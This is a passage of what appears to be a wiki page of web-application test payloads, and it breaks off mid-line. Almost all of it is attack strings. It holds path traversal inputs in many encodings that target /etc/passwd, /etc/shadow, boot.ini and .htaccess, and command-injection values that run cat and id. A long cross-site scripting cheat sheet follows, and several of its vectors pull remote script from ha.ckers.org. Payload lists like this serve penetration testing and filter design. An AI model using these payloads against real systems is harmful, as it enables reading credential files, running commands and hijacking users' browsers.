%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A 